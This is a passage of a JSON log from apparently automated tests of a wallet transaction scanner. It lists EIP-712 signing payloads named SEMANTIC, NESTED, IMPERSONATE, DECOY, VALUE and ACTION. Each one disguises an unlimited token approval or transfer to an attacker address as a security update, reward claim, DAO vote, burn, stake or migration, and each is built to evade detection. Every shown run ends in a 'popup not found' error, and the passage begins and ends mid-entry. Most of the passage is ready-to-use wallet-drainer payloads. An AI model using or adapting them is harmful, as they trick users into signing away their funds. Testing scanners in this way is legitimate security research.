"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:39:20.882Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:39:30.421Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:39:39.981Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:39:49.535Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:39:59.094Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:40:08.652Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:40:18.201Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:40:27.739Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:40:37.296Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:40:46.847Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:40:56.407Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:41:05.953Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:41:15.506Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:41:25.051Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:41:34.609Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:41:44.145Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:41:53.708Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:42:03.253Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN50-EIP3009-022", "timestamp": "2026-01-31T18:42:12.809Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 